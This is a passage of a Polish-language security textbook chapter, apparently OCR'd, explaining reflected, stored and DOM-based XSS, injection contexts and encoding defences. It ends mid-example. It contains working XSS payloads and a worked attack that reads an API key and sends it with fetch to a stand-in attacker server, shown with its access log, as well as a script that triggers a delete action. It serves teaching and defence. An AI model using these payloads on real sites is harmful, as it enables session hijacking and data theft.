Bezpieczenstwo Aplikacji
Internetowych

Cross-Site Scripting (XSS)



WSTEP

Cross-Site Scripting (XSS) to jedna z najczesciej wystepujacych podatnosci aplikacji
webowych. Wedtug powszechnie przytaczanej definicji (np. z Wikipediil ) jest to atak na
serwis WWW, ktory polega na mozliwosci osadzenia w tresci strony wtasnego kodu
JavaScript, co w konsekwencji moze doprowadzi¢ do wykonania niepozadanych akcji przez
uzytkownikédw odwiedzajgcych te strone. Najczesciej kojarzona jest z ostawionym
fragmentem kodu HTML
< script>alert(1)</script>, cho¢ to tylko utamek tego, w jaki sposéb XSS do aplikacji mozna
wprowadzi¢ oraz jakie sg jego realne skutki. Podatnos$¢ XSS przedstawie z kilku perspektyw:
zaczynajac od pokazania najprostszego jej przyktadu, poprzez oméwienie skutkéw, a
skonczywszy na metodach obrony (ze wskazaniem, dlaczego ta obrona nie zawsze jest
prosta).

CZYM JEST XSS ORAZ TYPY PODATNOSCI XSS

Podatnosci typu XSS najczesciej pojawiajg sie w aplikacji, gdy w kodzie HTML strony
wyswietlana jest tres¢ podana przez uzytkownika. Jednym z najbardziej klasycznych
przyktaddéw jest wyszukiwarka. Rozpatrzmy przyktad przedstawiony na rysunku 1.

[
Wyszukiwarka artykulow

Podaj frazg do wyszukiwania:

Szukaj!

Rysunek 1. Prosta strona z wyszukiwarkq

Po wpisaniu dowolnej frazy w wyszukiwarce jest ona wyswietlana na kolejnej stronie
(rysunek 2). Warto zwrdcié uwage, ze wyszukiwana fraza jest widoczna w adresie URL (jako
parametr search), jak rdwniez dalej na samej stronie.

Wyszukiwarka artykulow

Nie znaleziono wynikéw dla "test"

Rysunek 2. Przyktadowy wynik wyszukiwania



Pierwszym, podstawowym testem, jaki mozna wykona¢ w celu weryfikacji, czy
istnieje w aplikacji potencjat na wystepowanie podatnosci XSS, jest préba wpisania prostego
kodu HTML. Na przyktad w miejsce wyszukiwanej frazy mozna sprobowac uzy¢ kodu
<u />test. Wynik takiego wyszukiwania widoczny jest na rysunku 3.

@ localhost:12345/7seart .

Wyszukiwarka artykulow

Nie znaleziono wynikéw dla "test" k—

Rysunek 3. Pierwsza proba wstrzykniecia kodu HTML

Jak wida¢, wyszukiwana fraza jest teraz podkreslona. Gdyby spojrze¢ w kod
HTML wyswietlonej witryny, znajdzie si¢ w nim fragment -> Nie znaleziono
wynikéw dla "test".

Poniewaz aplikacja w zaden sposob nie enkodowatla tresci podanej przez
uzytkownika, w kodzie HTML pojawia si¢ tag oznaczajacy podkreslenie tekstu.
W ten sposob potwierdzilismy, ze w aplikacji istnieje mozliwos$¢ podania
wlasnego kodu HTML. Nie oznacza to jeszcze automatycznie podatnosci XSS,
t]. mozliwos¢ wstrzyknigcia wlasnego kodu HTML nie musi by¢ tozsama z
mozliwoscig wstrzyknigcia tagu pozwalajacego na wykonanie kodu JavaScript.

Zasadne jest zatem wykonanie kolejnego testu i sprawdzenie zachowania
aplikacji dla frazy
< script>alert(1)</script> (rysunek 4).

Komunikat ze strony localhost:12345
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Rysunek 4. Proba wykonania ataku XSS



W takim przypadku przegladarka wyswietlita komunikat (alert) o tresci ,1”, co jest
wystarczajgcym dowodem, ze aplikacja jest podatna na XSS. Dlaczego istnienie podatnosci
XSS najczesciej udowadnia sie na przyktadzie alert(1)? Z kilku wzgleddw:

1. Funkcja alert wyswietla sie na pierwszym planie. Nie sposdb zatem jej nie zauwazy¢.

2. alert wykonuje sie w JS* synchronicznie — co sprawia, ze zaden dalszy kod JS nie wykona
sie, dopdki uzytkownik nie kliknie ok.

3. Pojawienie sie komunikatu dowodzi, ze mozliwe jest wykonanie wtasnego kodu JS. W
miejscu, w ktorym wrzucono alert(1), mozna zmiesci¢ dowolny inny kod JS, ktéry wykorzysta
atak w celach przydatnych napastnikowi.

XSS jak na powyzszym przyktadzie, tj. taki, w ktdrym kod HTML/JS zawarty w dowolnym
parametrze zapytania (np. GET, POST czy nawet w ciasteczkach) wyswietlany jest nastepnie
w odpowiedzi, to tzw. reflected XSS. W angielskiej nomenklaturze méwi sie, ze wartosé
parametru zostata w odpowiedzi odbita (ang. reflected), stagd nazwa. Praktyczne
wykorzystanie takiego wariantu polega zazwyczaj na wystaniu ofierze odpowiednio
spreparowanego linku (np. e-mailem czy komunikatorem) zawierajgcego ztosliwy kod.

Inny typowy przyktad XSS to tzw. persistent XSS lub stored XSS. W tym przypadku ztosliwy
kod JS zostaje zapisany w bazie danych (lub innym zewnetrznym systemie) i wykonany
automatycznie po przejsciu na odpowiednig podstrone. W takiej sytuacji zazwyczaj nie ma
potrzeby wysytania linku ofierze, bo mozna zaktadaé, ze sama w korncu odwiedzi
zaatakowang podstrone.

Jako przyktad takiego typu podatnosci XSS wezmy system blogowy, na ktérym uzytkownicy
mogg zostawia¢ komentarze. Napastnik moze przy jednej z notek zamiesci¢ komentarz o
tresci: Bardzo fajny blog!. < script>alert(1)</script>

Gdy administrator bloga odwiedzi strone z listg komentarzy, powyzszy kod JS zostanie
automatycznie wykonany, skutkujgc podatnoscig XSS.

W powyzszych przyktadach zaktadamy, ze wykonanie wtasnego kodu JS zwigzane jest z
koniecznoscig dodania nowych tagéw HTML, jak rowniez z wystaniem ztosliwych fragmentow
kodu jako czesci zapytania GET lub POST. Jesli w aplikacji wdrozone sg mechanizmy obronne,
takie jak WAF (Web Application Firewall), nie mozna wykluczyé, ze takie préby ataku zostang
skutecznie zablokowane. W rzeczywistosci jednak nie kazdy XSS musi wigzac sie z
komunikacjg z serwerem. Czasem mozliwos¢ wykonania wtasnego kodu JS wystepuje juz w
istniejgcym kodzie JS! Jest to tzw. DOM-based XSS lub w skrécie DOM XSS.

Rozwazmy przyktad kodu JS z listingu 1.



Listing 1. Przyktadowy kod skutkujgcy podatnoscig DOM XSS

<script>
window.addEventListener('hashchange', ev => {
let id = unescape(location.hash.slice(1));
document.getElementById('imageholder').innerHTML = 2
“<img src="//example.com/image${id}.png">";
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</script>

PrzesledZmy najpierw, co doktadnie ten kod realizuje:

1.

W pierwszej kolejnosci nastuchujemy na zdarzenie onhashchange. Jest ono
wyzwalane, gdy w adresie URLzmienisie ta cze$¢, ktéra znajduje sie po haszu. Czyli
np. jesli w adresie URL znajdzie sie najpierw http://example.com#abc, a potem
uzytkownik zmieni adres na http://example.com#def, to zdarzenie zostanie
wyzwolone.

2. Zmienna id bedzie zawierata cze$¢ URL-a znajdujacg sie za haszem. Czyli jesli np.
uzytkownik wejdzie na strone http://example.com#123, to zmienna id bedzie miata
wartosc 123.

3. Do elementu w HTML o id imageholder zostaje przypisany fragment HTML z
elementem

< img/>, ktérego atrybut src zawiera adres do obrazka zbudowany na bazie zmiennej
id. Jesli np. wartos¢ id bedzie rowna 123, to wéwczas zostanie utworzony HTML

< img src="//example.com/image123.png">.

Gdzie wiec lezy tutaj problem? Rodzi go budowanie kodu HTML na bazie wejscia
uzytkownika bez jakiegokolwiek enkodowania danych. Jezeli napastnik sprébuje przejs¢ pod
nastepujacy adres URL: http://example.com#fqweqwe"%20onerror=alert(1)//, to wéwczas:

1.
2.

Zmienna id przyjmie warto$¢ gweqwe" onerror=alert(1)//.

Zostanie utworzony HTMLo tresci <img src="//example.com/imageqweqwe"
onerror=alert(1)//.png">. Utworzony obrazek ma wiec nie tylko oczekiwany atrybut
src, ale réwniez onerror — z naszym wtasnym kodem JS!

Przegladarka sprébuje pobraé obrazek z adresu http://example.com/imageqgweqwe.
Po pewnym czasie, gdy okaze sie, ze taki plik nie istnieje, przeglagdarka wykona
zdarzenie onerror na tagu img, efektywnie wykonujgc XSS.

Zauwazmy, ze w przeciwienstwie do wczesniejszych przyktadéw tym razem nasz ztosliwy kod
w zadnym momencie nie trafia do serwera — znajduje sie bowiem po hashu w adresie URL, a
ta cze$¢ adresu URL nie jest wysytana w komunikacji HTTP/HTTPS. Wykonanie wtasnego
kodu JS byto mozliwe tylko dzieki takiemu kodowi, ktory juz w aplikacji istniat. W podanym



przyktadzie niebezpieczne byto przypisanie do innerHTML. W rzeczywistym kodzie tego typu
groznych konstrukcji moze by¢ znacznie wiecej (np. eval czy przypisanie do location); do tego
tematu wrécimy jeszcze w dalszej czesci tego rozdziatu.

Podsumowujgc, w tej cze$ci przedstawione zostaty trzy standardowe typy podatnosci XSS:

- reflected XSS — gdy cze$¢ zapytania (np. parametry GET/POST, ciasteczka itp.) jest
przepisywana na wyjsciu,

- stored XSS — gdy ztosliwy kod JS zostaje zapisany w bazie,

- DOM XSS — gdy wykonanie XSS jest mozliwe ze wzgledu na uzycie niebezpiecznych funkgji
w JS, takich jak eval czy innerHTML.

SKUTKI XSS

Wiemy juz, czym tak wtasciwie jest XSS (czyli mozliwos$¢ wykonania wtasnego kodu JS w kontekscie
atakowanej aplikacji webowej) i poznalismy trzy standardowe typy tej podatnosci. Na razie jednak
jedyny kod JS, jaki wykonywalismy, miat postac alert(1). Wspomniatem, ze jest to wystarczajgce do
udowodnienia, ze taka podatnos¢ istnieje, ale zasadne jest w takim razie pytanie: czym w
rzeczywistosci moze skutkowac XSS? W ramach przyktadu rozwazmy bardzo prostg aplikacje WWW
wygladajaca jak na rysunku 5.

Panel admina

Twdéj magiczny klucz API: 675¢74d5f114ba25a49tb0f4cb02{70f

Usun wszystkie rekordy

Rysunek 5. Przyktadowa aplikacja podatna na XSS

Kod tej aplikacji napisany w PHP zawarty jest w listingu 2



Listing 2. Przyktadowa strona z XSS-em

<!doctype html><meta charset=utf-8>

<body><h1>Panel admina</hl>

Twéj magiczny klucz API: <span id=apikey><?= md5($_SERVER[ /
"HTTP_USER_AGENT']) ?></span><br>

<button id=button onclick="alert('Usunieto wszystkie rekordy')"> 2
Usun wszystkie rekordy</button>

<?=% GET['xss']?>

</body>

Zaktadamy wiec, ze ta aplikacja symuluje panel administratora jakiej$ wieksze;j i
powazniejszej aplikacji, w ktorej z punktu widzenia napastnika wazne sg nastepujace
kwestie:

- do aplikacji mozna podac¢ parametr GET o nazwie xss, ktéry przepisywany jest bez
enkodowania. Jest wiec podatny na XSS,

- w aplikacji znajduje sie klucz API, ktéry napastnik moze zechcieé wykrasé,

- w aplikacji jest przycisk do usuwania wszystkich rekordéw, ktéry napastnik moze chcie¢
wykonaé.

Zacznijmy zatem od przygotowania pierwszego ztosliwego kodu, tj. wykradajgcego klucz API i
wysytajagcego go na serwer napastnika. Napisanie takiego kodu moze wymagac¢ podstawowe;j
znajomosci jezyka JS.

Tutaj potrzebne sg dwa kroki:
1. Odczytanie klucza APl za pomocg JavaScript.
2. Napisanie kodu JS, ktory spowoduje wystanie tego klucza na zewnetrzny serwer.

Gdy przyjrzymy sie kodowi z listingu 2, mozemy zauwazy¢, ze klucz APl przechowywany jest
w elemencie o id rownym apikey. Wystarczy wiec uzy¢ standardowej funkcji z DOM API:
getElementByld, by znalez¢ obiekt w drzewie DOM a nastepnie odczytaé jego wtasciwosé
innerText w celu odczytania tekstu, ktéry przechowuije:

let apikey = document.getElementById('apikey').innerText



Drugim krokiem jest wystanie tego klucza na serwer napastnika. JS daje dziesigtki
mozliwosci, by to zrobié, uzyjmy wiec jednej z najkrétszych: funkcji fetch. W najprostszym
wywofaniu przyjmuje ona jeden argument bedgcy adresem URL, ktéry ma zostaé pobrany.
Kod bedzie wygladat nastepujaco:

let apikey = document.getElementById('apikey').innerText;

fetch('//serwer-napastnika.localrapikey=" + apikey);
Praktyczne wykorzystanie podatnos$ci wymaga jeszcze dodania tego kodu w parametrze, w
ktorym mozna wykorzystac¢ XSS. Na przykfad tak jak ponizej :

http://localhost:12345/test.php?xss=%3Cscript%3Elet%20apikey%20=%20 2
document.getElementById(%27apikey%27).innerText;%20fetch(%27// 2
serwer-napastnika.local?apikey=%27%20%2b%20apikey) ;%3C/script%3E

Scenariusz ataku wymaga teraz podestania tak spreparowanego linku do administratora
aplikacji. Gdy tylko wejdzie on na strone, na serwerze napastnika zostanie odebrane
zapytanie, widoczne w access_log serwera:

[Fri Jun @7 12:34:56 2019] 127.0.0.1:51050 [200]: /?apikey=675c74d5f114ba25a
49fbefacbe2f7ef

W ten sposéb klucz APl wyciekt do zewnetrznego serwera! W Internecie i literaturze mozna
spotkac sie z okresleniami, ze jest to wyciek lub eksfiltracja danych.

W analogiczny sposéb mozna doprowadzi¢ do wycieku dowolnych innych danych z tej
domeny, w ktérej dziata aplikacja podatna na XSS. Jezeli wiec mamy XSS np. w Gmailu, to
jesteSmy w stanie za pomoca JS odczytad tresé¢ wszystkich e-maili obecnie zalogowanego
uzytkownika. Z kolei XSS w bankowosci webowej pozwolitby na wydobycie numeréw
rachunkdw, sald, list kontrahentéw, historii transakgji itp. Innymi stowy: za pomocg XSS
jestesmy w stanie odczytaé dowolne dane w kontekscie zalogowanego uzytkownika.Jest to
pierwszy z typowych skutkédw XSS.

Wykorzystanie XSS w celu nacisniecia przycisku bedzie wygladato podobnie do przykfadu z
wykradaniem klucza API. Zauwazmy w listingu 2, ze przycisk ma atrybut id=button.
Woystarczy wiec znéw go zlokalizowac i wykona¢ metode click(), by zasymulowac klikniecie:

document.getElementById( 'button').click()

Gdy administrator przejdzie na strone z tak przygotowanym kodem JS, efekt bedzie taki jak
na rysunku 6.



X @ localhost:1234

Komunikat ze strony localhost: 12345

Usunigto wszystkie rekordy

Rysunek 6. Przyktad podatnosci XSS pozwalajqcej na wykonanie dowolnej akcji
w kontekscie zalogowanego uzytkownika

Na tym przyktadzie widac¢ drugi typowy skutek podatnosci XSS, tj. mozliwo$¢ wykonania
dowolnej akcji w kontekscie zalogowanego uzytkownika. Jesli wiec uzytkownik danej strony
jest uprawniony do usuwania rekordéw — mozemy to zrobi¢, wykorzystujgc podatnos¢ XSS. Z
kolei XSS w bankowosci webowej mégtby pozwoli¢ na zlecenie przelewu czy dodanie nowego
odbiorcy zdefiniowanego itp.

Pamietajmy zatem, ze za kazdym razem, gdy w Internecie widzimy XSS, w ktérym jako
przyktadowego kodu uzyto alert(1), to w tym samym miejscu moze znalez¢ sie kod
pozwalajacy:

- wykrada¢ dowolne dane w kontekscie zalogowanego uzytkownika,

- wykonywa¢ dowolne operacje w kontekscie zalogowanego uzytkownika.

Innymi stowy, XSS pozwala na przejecie dostepu do sesji uzytkownika.

W rzeczywistosci skutkéw podatnosci XSS moze by¢ wiecej, np. skanowanie portéw?2 , atakowanie
przegladarki uzytkownika (np. uruchomienie eksploita na nieaktualng wersje przegladarki),
przechwytywanie wciskanych klawiszy na stronie (keylogger), ataki phishingowe i wiele, wiele innych.
Wszystkie zwigzane sg z kreatywnym uzyciem mozliwosci, jakie oferuje JavaScript. Istniejg rowniez
narzedzia, takie jak BeEF3, ktdre zawierajg gotowe moduty pozwalajgce na dalsze wykorzystanie
(post-eksploitacje) XSS.

KONTEKSTY XSS

Kluczowym tematem, ktory pozwala zrozumie¢, dlaczego podatnosci XSS w dzisiejszych
aplikacjach sg nadal tak rozpowszechnione, sg tzw. konteksty XSS. Do tej pory w niniejszym
rozdziale przyjmowano zatozenie, ze XSS wigze sie zawsze z potrzebg dodania nowego tagu



HTML (nawet w przyktadzie z DOM XSS, gdzie uzyta byta wtasciwos¢ innerHTML). W
rzeczywistosci jednak dane podawane przez uzytkownika mogg lgdowac w wielu miejscach
kodu HTML: moze to by¢ zawartosc¢ tagu, atrybut, adres URL czy nawet string w JS. Okazuje
sie, ze w tych przypadkach rézna bedzie zaréwno metoda ataku, jak i obrony przed
wstrzyknieciami ztosliwego kodu.

W wielu poradnikach (zwtaszcza tych nizszej jakosci) dotyczgcych XSS mozna spotkac sie z
twierdzeniem, ze ochrona przed XSS to wytacznie enkodowanie danych podawanych przez
uzytkownika do postaci tzw. encji HTML. Enkodowanie to wyglada nastepujgco:

znak " (cudzystow) zamieniany jest na &quot;
znak ' (apostrof) zamieniany jest na &#39;
znaki < > zamieniane sg odpowiednio na &1t; i &gt;

Yy ¥ vy

znak & zamieniany jest na &amp;

Metoda wydaje sie stuszna, bo rzeczywiscie zabezpiecza przed podatnoscig w
najpopularniejszych wariantach. Na przyktad uzycie takiego enkodowania spowoduje,ze we
wczesniejszym przyktadzie z wyszukiwarkg kod < div>Nie znaleziono wynikéw dla "<
u>test"</div> zamienitby sie w: <div>Nie znaleziono wynikéw dla "&lt ;u&gt ;test"</div>.

Encje &It ; i &gt ; powoduja, ze przeglgdarka wyswietli je jako znaki < i >, ale tracg one swe
specjalne znaczenie jako znaki otwierajgce i domykajgce tagi HTML.

Dlaczego taka metoda zabezpieczenia nie zawsze jest wystarczajgca? Rozwazmy nastepujacy
przyktad: < img src=/images/[id].png>.

Zaktadamy, ze aplikacja buduje fragment HTML, bazujgc na parametrze id podawanym przez
uzytkownika. Zaktadamy réwniez, ze w tym parametrze znaki specjalne HTML sg zamieniane
na encje, jak opisano powyze;j.

Zauwazmy, ze wartos$¢ atrybutu src nie jest umieszczona w cudzystowach ani apostrofach. W
takiej sytuacji parsery HTML koriczg wartos¢ parametru na dowolnym biatym znaku (w
najczestszym wariancie: spacji). Oznacza to, ze w tym wstrzyknieciu nie potrzebujemy wcale
zadnego ze znakdw, ktére zamieniane sg na encje, a utworzenie nowego atrybutu nie
wymaga niczego wiecej niz tylko spacji.

Jezeli wiec wartos¢ id wyniesie "xxxyyy onerror=alert(1)//", to w HTML pojawi sie
nastepujacy kod: < img src=/images/xxxyyy onerror=alert(1)//.png>.

Przegladarka sprébuje pobraé obrazek spod adresu /images/xxxyyy, a gdy to sie nie uda,
wykona zdarzenie onerror, w konsekwencji wykonujac kod JS podany przez napastnika. W



tym wstrzyknieciu nie zostat wiec zastosowany zaden znak specjalny HTML, a mimo to
mozliwe byto wykorzystanie XSS.

Powyzszy przykfad jest tylko kroplg w morzu. Mozliwych kontekstow XSS jest zdecydowanie
wiecej, a ponizej zostaty przedstawione najpopularniejsze z nich. W kazdym z przyktadow
zaktadamy, ze napastnik ma mozliwo$¢ wstrzykniecia wtasnego kodu w miejsce symbolu
[XSS].

WSTRZYKNIECIE W ZAWARTOSCI TAGU

FRAGMENT <div>[XSS]</div>
KODU
METODA Najbardziej klasyczny wariant. Atak wymaga dodania wylacznie wilasnego
ATAKU  tagu HTML, np.:
<div><img src onerror=alert(1)></div>
METODA Zamiana znakéw specjalnych HTML na encje.
OBRONY
WSTRZYKNIECIE W ZAWARTOSCI ATRYBUTU
FRAGMENT <div class="[XSS]"»></div>
KODU
METODA Atak wymaga najpierw ucieczki z atrybutu class. W dalszej kolejnosci moz-
ATAKU liwe jest albo utworzenie nowego atrybutu HTML wyzwalajacego JS, albo
dodanie catkiem nowego tagu:
Wariant I: <div class="" onmouseover=alert(1l) "></div>
Wariant II: <div class=""><script>alert(1l)</script>"></div>
METODA Zamiana znakéw specjalnych HTML na encje.
OBRONY

WSTRZYKNIECIE W ZAWARTOSCI ATRYBUTU BEZ CUDZYStOWOW/APOSTROFOW

FRAGMENT <div class=[XSS]></div>
KODU
METODA Przyktad podobny do poprzedniego, z ta réznica, ze brak cudzystowow/apostrofow
ATAKU  wokét wartodci atrybutu umozliwia uzycie spacji, by doda¢ wiasny kod JS, np.:
<div class=x onclick=alert(1)></div>
METODA Jezeli aplikacja generuje dynamicznie HTML, lepiej wartosci atrybutow umiesz-
OBRONY

cza¢ wewnatrz cudzystowdw/apostroféw — ulatwia to zabezpieczenie przed XSS.



FRAGMENT
KODU

METODA
ATAKU

METODA
OBRONY

FRAGMENT
KODU

METODA
ATAKU

WSTRZYKNIECIE W ATRYBUCIE HREF
<a href="[XS5]"></a>

Na pierwszy rzut oka ten przyklad jest analogiczny do poprzednich i wymaga
wylgcznie zabezpieczenia przed ucieczka z atrybutu href. W praktyce jest to
niewystarczajgce, bowiem warto$¢ atrybutu href jest adresem URL, ktory
mozna naduzy¢ poprzez uzycie protokohi javascript:. Klikniecie w link jak
ponizej spowoduje wykonanie kodu JS:

<a href="javascript:alert(1)"></a>

Podobny problem moze dotyczy¢ innych atrybutow przyjmujacych adresy
URL, takich jak src czy action.

Jezeli uzytkownik moze w aplikacji poda¢ adres URL, walidujmy, czy proto-
ko6t w adresie to HTTP/HTTPS. Odrzucajmy wszystkie pozostate.

WSTRZYKNIECIE W STRINGU WEWNATRZ KODU JS

<script>var username="[XSS]";</script>

W tym przykiadzie znajdujemy sie wewngtrz stringu w JS. W pierwszej ko-
lejnosci nalezy wiec z tego stringu uciec, a nastepnie wykonac wiasny kod JS:

<script>var username="";alert(1)//";</script>

Wiele aplikacji probuje sie broni¢ przed tym atakiem, uniemozliwiajgc wyj-
Scie ze stringu i enkodujgc znak " do postaci \". Zaktadajac, zZe jest to jedyna
zamiana, to jest ona niewystarczajaca. Jesli bowiem dodamy nasz wiasny znak
\, wowczas \" zostanie zamienione na \\" — sprawiajac, ze znak cudzystowu
znéw bedzie zamykat string.

Zaktadajac nawet, ze zostalo to dobrze zrobione, nadal istnieje bardzo czesto
stosowana metoda, by pomimo wszystko wykonac wilasny kod JS. Zauwazmy,
ze enkodowanie znaku cudzystowu jest de facto spojrzeniem wylgcznie na
kontekst JS powyzszego kodu. Ale nie zapominajmy, ze ten kod znajduje sie
w tagu <script>, ktory przegladarka musi wczesniej przetworzyc¢. Uprasz-
czajac, mozna zalozyc, ze podczas parsowania HTML przegladarka, gdy tylko
zobaczy otwarcie tagu <script>, szuka, gdzie jest jego zamkniecie, nie zasta-
nawiajac sie na razie nad tym, co jest w srodku. Zobaczmy wiec, co sie dzieje,
jesli wpiszemy nasze wlasne zamkniecie i otwarcie tagu <script>:

<script>var username="</script><script>alert(1)</script>";</script>

Pierwszy tag <script> zawiera naturalnie btad skladniowy (niedomkniety
string). Z perspektywy napastnika nie ma to jednak zadnego znaczenia, jako
ze nastepny tag <script> wykona sie normalnie — umozliwiajgc tym samym
wykorzystanie XSS.
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Zalecana metodg obrony jest enkodowanie wszystkich znakéw niealfanu-
merycznych do postaci UTF-16, tj. \uXXXX. W takim przypadku nie bedzie
mozliwosci ani ucieczki ze stringu, ani z calego tagu <script>, np.:
<script>var username="\u@@3c\ue@2fscript\ueo3e\ud®3cscript\

ued3ealert\ue028\ug031\ue029\uLB3Cc\uBB2fscript\ued3e";
</script>

WSTRZYKNIECIE W ATRYBUCIE ZE ZDARZENIEM JS
<div onclick="change('[XSS]"')">Userl</div>

Na pierwszy rzut oka wydaje sie, ze mozna w takiej sytuacji zastosowac standardo-
wa ochrone jak przy atrybutach HTML. Zak}adajac, ze taka ochrona jest stosowana,
zobaczmy, co sie wydarzy, jesli na wejéciu zostanie podany kod ') ;alert(1)//:

<div onclick="change('&#39;);alert(1)//"')">Userl</div>

Patrzac na czysty kod HTML, w pierwszej chwili trudno moze by¢ dostrzec,
dlaczego wykonanie XSS bedzie tutaj skuteczne. Znak apostrofu zostat za-
mieniony na &#39;, jednak jest to w tym przypadku niewystarczajgce, bo-
wiem przegladarka automatycznie dekoduje wszystkie encje HTML znajduja-
ce sie w wartosciach atrybutéw. Silnik JS zobaczy wiec kod w postaci:

change('');alert(1)//")

Przyklad ten pokazuje, ze do ochrony przed XSS nie mozna podchodzic¢ lek-
komyslnie. Z jednej strony uzyty zostat standardowy sposéb na zabezpiecze-
nie sie przed XSS dla atrybutéw; z drugiej — pewne atrybuty maja specjalne
znaczenie, np. zawarto$¢ atrybutu onclick jest traktowana jako kod JS, wiec
napastnik nie ma potrzeby uciekania z tego atrybutu.

W przypadku zagniezdzen kontekstéw nalezy pamieta¢ o odpowiedniej ochro-
nie dla kazdego z nich. Tutaj jest to uzywanie enkodowania zar6wno wiasci-
wego dla atrybutow HTML, jak i dla stringow JS, np.:

<div onclick="change('\u0027);alert(1)//")">Userl</div>



WSTRZYKNIECIE W ATRYBUCIE HREF WEWNATRZ PROTOKORU JS

FRAGMENT <a href="javascript:change('[XSS]"')">CLICK</a>
KODU

METDA W tym przypadku warto zauwazy¢, ze mamy tutaj potagczonych wiele kontek-

ATAKU stow, w tym kontekst atrybutu HTML oraz stringu JS. O jednym kontekscie
jednak w praktyce bardzo czesto sie zapomina, chodzi tu mianowicie o adres
URL. Zwro¢my uwage, ze jesteSmy w adresie URL, w ktérym uzywany jest
protokot javascript:. Przegladarki wspieraja w tym kontekscie jeszcze tzw.
URL-encoding, tj. mozliwos$¢ zapisywania dowolnych bajtow jako %xy, gdzie
w miejsce xy nalezy wstawi¢ kod heksadecymalny danego bajtu. I tak, np. %41
to litera A, a %27 to znak apostrofu:

<a href="javascript:change('%27);alert(1)//"')">CLICK</a>

W tym przyktadzie przegladarka zdekoduje %27 do zwyklego apostrofu i silnik
JS zobaczy ponizszy kod, ktéry umozliwi juz przeprowadzenie ataku z wy-
korzystaniem XSS:

change('');alert(1)//")

METODA Skuteczng metoda obrony przed tym atakiem byloby zastosowanie enkodowa-
OBRONY nia na trzech kolejnych warstwach:

1. Enkodowanie wewnatrz stringu JS.
2. Enkodowanie dla URL-encodingu.
3. Enkodowanie encji HTML.

W praktyce widac, ze bardzo latwo o ktorejs z tych metod zapomnie¢, wiec le-
piej tego typu kod — jak w tym przykladzie — zrefaktorowac, aby dynamicznie
generowany kod nie znajdowat sie wewnatrz atrybutu, w ktérym jest kod JS.

KONTEKSTY DOM XSS

Jak juz zostato to opisane, wykonanie wtasnego kodu JS nie musi wigza¢ sie z tworzeniem
kodu HTML. Do podobnych skutkéw moze tez doprowadzi¢ uzywanie pewnych funkcjilS,
takich jak eval. Zasadniczo z poziomu JS mozna zetknac sie z trzema typami funkcji, ktérych
uzycie jest niebezpieczne.

Funkcje typu eval

Czes$¢ funkcji/metod przyjmuje jako argument string zawierajgcy kod JS do wykonania.
Najpopularniejsza z nich jest eval, ale grozne sg rowniez Function czy setTimeout (w
wariancie, w ktdrym pierwszy argument jest stringiem). Najczesciej wykorzystanie tego typu
funkcji wigze sie z konkatenacjg danych podanych przez uzytkownika z innym fragmentem
kodu JS, np.:



L1

eval("console.log('Hello " + user + " [")")

Zaktadamy, ze uzytkownik ma kontrole nad zawartoscig zmiennej user. Jesli ta zmienna
przyjmie wartos$¢ ');alert(1)//, to eval spowoduje wykonanie kodu:

console.log('Hello ');alert(1)//!")

Co dowodzi mozliwosci wykonania wiasnego kodu

W celu ochrony przed tego typu podatnosciami co do zasady zaleca sie, by nie uzywaé funkcji
typu eval na danych pochodzacych z niezaufanych zrédet (np. od uzytkownika). Jezeli z
jakiegos powodu uzywanie takich funkcji jest niezbedne, nalezy pomysle¢ o enkodowaniu lub
walidowaniu danych. W powyzszym przyktadzie enkodowane powinno by¢ wyjscie ze stringu
(znak apostrofu oraz znak backslasha).

Funkcje przyjmujace kod HTML

W przegladarkowym DOM APl istnieje duza liczba funkcji lub wtasciwosci, ktére akceptujg
kod HTML, np. innerHTML, outerHTML, insertAdjacentHTML, document.write. Jezeli w
kodzie uzywane sg te funkcje z danymi pochodzgcymi od uzytkownika, to nalezy pamietac o
enkodowaniu danych — zgodnie z opisanymi wczesniej zasadami dotyczgcymi kontekstow
XSS.

Funkcje przyjmujace adres URL

Prawdopodobnie najmniej intuicyjnym punktem, gdzie mozna spotka¢ DOM XSS, sg funkcje i
wiasciwosci, ktére przyjmujg adres URL. Najprostszym przypadkiem jest po prostu obiekt
location i jego metody, ale rowniez np. wtasciwosci href czy src obiektow typu
HTMLAnchorElement lub HTMLIFrameElement. W tym przypadku grozne jest przypisanie
URL-a z protokotem javascript:, ktory — jak juz wiemy — pozwala na wykonanie wiasnego
kodu JS. Ponizszy kod spowoduje wiec wykonanie XSS:

location = 'javascript:alert(1)'

Ogdlnie funkcje i wtasciwosci w JS, ktdre mogg pozwoli¢ na wykonanie nowego kodu JS (a
wiec postuzy¢ do wykonania XSS), sg nazywane w angielskiej nomenklaturze sinks (dost.



zlew). Obok nich istniejg tez sources (zrédta), z ktdrych kod JS moze pobieraé dane. Ja
osobiscie ttumacze te pojecia na polski jako punkty wejscia (sources) i punkty wyjscia (sinks).
Mozna to rozumiec tak, ze ztosliwy kod jest wprowadzany przez punkty wejscia do aplikacji,
a punkty wyjscia powoduja, ze rzeczywiscie sie on wykonuje.

Przyktadowymi punktami wejscia mogg by¢ np. obecny adres URL strony (location),
ciasteczka (document.cookie) czy komunikacja typu postMessage. Poszukiwanie podatnosci
typu DOM XSS polega wiec zazwyczaj na analizie kodu JS pod katem wystepujgcych w nich
punktow wejscia i sprawdzeniu, czy zmienne bedace pod kontrolg uzytkownika wystepujg
gdzie$ w punktach wyjscia bez zabezpieczenia.

By lepiej zrozumiec idee poszukiwania podatnosci DOM XSS, zobaczmy trzy przyktady oparte
na realnych aplikacjach. Punkty wejscia i wyjscia w kazdym z przyktadéw kodu sg zaznaczone
na czerwono.

PRZYKLAD: LOCATION.HASH | INNERHTML

FRAGMENT window.addEventListener('hashchange', ev => {
KODU: let id = unescape(location.hash.slice(1));
document.getElementById( 'imageholder').innerHTML = 2
“<img src="//example.com/image${id}.png">";

});

ANALIZA: Ten sam przyklad znalazl sie réwniez na poczatku tego rozdziatu. Punktem
wejscia, czyli miejscem, z ktorego pobierane sa dane pochodzace od uzyt-
kownika, jest location.hash. Punktem wyjscia z kolei jest przypisanie do
innerHTML, a wiec mozliwo$¢ podania wiasnego kodu HTML. Wystarczy
wiec tylko wymysli¢, jaki kod nalezy wpisa¢, by przypisanie do innerHTML
spowodowato wykonanie nowego kodu. Zauwazmy, ze zmienna id zostaje
wykorzystana wewnatrz atrybutu src obrazka, co za tym idzie, konieczna jest
ucieczka z tego atrybutu — a nastepnie jedng z opcji jest dodanie atrybutu
onerror, ktory spowoduje wykonanie kodu JS.

Summa summarum, XSS wykonamy, jesli przekazemy w adresie URL odpo-
wiednig warto$¢ po haszu, np.:

http://example.com/#" /onerror=alert(1)//

PRZYKLAD: POSTMESSAGE | ATRYBUT ACTION

FRAGMENT window.addEventListener('message', ev => {
KODU: const url = ev.data.url;
